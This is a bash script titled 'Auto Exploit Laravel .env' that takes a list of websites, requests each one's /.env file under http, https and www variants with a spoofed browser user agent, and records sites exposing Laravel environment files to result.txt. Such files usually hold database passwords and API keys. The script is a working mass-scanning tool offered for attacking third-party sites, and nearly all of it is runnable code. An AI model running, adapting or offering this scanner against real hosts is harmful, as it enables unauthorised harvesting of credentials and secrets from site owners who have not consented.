#!/bin/bash
# Auto Exploit Laravel .env
# Coded by ZeroByte.id
# https://zerobyte.id/ - https://blog.zerobyte.id/
function exploitwww() {
target=$s;
wtp="https://www.$target";
#echo $wtp
w=$(timeout 5 curl -s -m 10 -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36" $wtp'/.env');
if [[ $w =~ 'APP_ENV' ]]; then
echo "[OK] $target/.env";
echo "$target/.env" >> result.txt
else
echo "[BAD] $target";
fi
}
function exploit() {
target=$s;
htp="http://$target"
e=$(timeout 5 curl -s -m 10 -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36" $htp'/.env');
if [[ $e =~ 'APP_ENV' ]]; then
echo "[OK] $target/.env";
echo "$target/.env" >> result.txt
else
echo "[BAD] $target";
fi
}
function exploithttps() {
target=$s;
hts="https://$target"
a=$(timeout 5 curl -s -m 10 -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36" $hts'/.env');
if [[ $a =~ 'APP_ENV' ]]; then
echo "[OK] $target/.env";
echo "$target/.env" >> result.txt
elif [[ $a =~ 'Moved Permanently' ]]; then
exploitwww $target
else
echo "[BAD] $target";
fi
}
cat << "banner"
_____ _ _ _ _
|__ /___ _ __ ___ | |__ _ _| |_ ___ (_) __| |
/ // _ \ '__/ _ \| '_ \| | | | __/ _ \ | |/ _` |
/ /| __/ | | (_) | |_) | |_| | || __/_| | (_| |
/____\___|_| \___/|_.__/ \__, |\__\___(_)_|\__,_|
|___/
-------------------------------------------------
-------- Laravel Environment Exploiter ----------
-------------------------------------------------
Usage : ./laravel.sh list.txt
banner
for s in $(cat $1); do
target=$s;
g=$(curl -s -m 10 -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36" -w %{http_code} $target -o /dev/null);
if [[ $g =~ '200' ]]; then
exploit $s
elif [[ $g =~ '301' ]]; then
exploithttps $s
else
echo "[UNKNOWN] => $target"
fi
done
Comments